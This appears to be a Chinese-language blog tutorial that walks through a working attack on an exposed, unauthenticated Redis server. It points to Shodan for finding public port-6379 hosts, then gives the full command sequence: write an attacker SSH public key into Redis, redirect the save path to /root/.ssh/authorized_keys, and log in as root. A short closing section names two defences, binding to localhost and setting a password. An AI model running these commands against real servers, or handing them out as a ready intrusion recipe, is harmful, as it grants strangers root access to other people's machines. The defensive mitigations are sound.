本文旨在让大家注意加强redis的安全,不要去尝试黑别人
在尝试黑进系统之前,我们先来看一下,通过网络空间的搜索引擎,查看全球内暴露在公网中的6379(Redis默认端口)或27017(默认端口)端口号:
ZoomEy不行就用:https://www.shodan.io/search?query=6379
下面我就准备两台服务器进行测试:
10.99.73.7(测试机)
10.99.73.11(攻击目标)
1、测试能否连接到远程主机的redis
$ redis-cli -h 10.99.73.11 -p 6379
10.99.73.11:6379> KEYS *
(empty list or set)
能够看到我链接成功,并且能够使用命令进行正常操作;其实只要能到这一步,基本就已经算成功入侵了。
2、然后将公钥文件内容,写入目标主机的redis
生成自己的公私钥,输入ssh-keygen命令,一路回车
修改id_rsa.pub文件,在文件开头和结尾多添加回次车(最好两次不要多也不要少),必须要加,不然这个公钥过去之后无法使用。
写公钥进redis
$ cat /root/.ssh/id_rsa.pub | redis-cli -h 10.99.73.11 -p 6379 -x set ssh-key
OK
此时,我们再次连接目标主机的redis查看内容,公钥已经写入了目标主机redis
3、将公钥文件写入目标主机上
我们用config命令,分别设置redis写入日志的文件名和目录
10.99.73.11:6379> CONFIG SET dir /root/.ssh
OK
10.99.73.11:6379> CONFIG SET dbfilename "authorized_keys"
OK
10.99.73.11:6379> save
OK
4、验证
使用ssh登录目标主机,此时,已经成功获取linux系统的root账户权限,进入目标主机。
原理
利用redis可以记录日志的能力,将日志写入root用户的.ssh中,从而实现root账户针对攻击者免密登录的权限;
那么有攻击就要有防守,我们应该如何防范这种攻击呢?
方案有两种:
方案1:配置文件中设置允许登录的客户端IP地址:
如: bind 127.0.0.1;
方案2:客户端有密链接服务器 :
如:config set requirepass “password”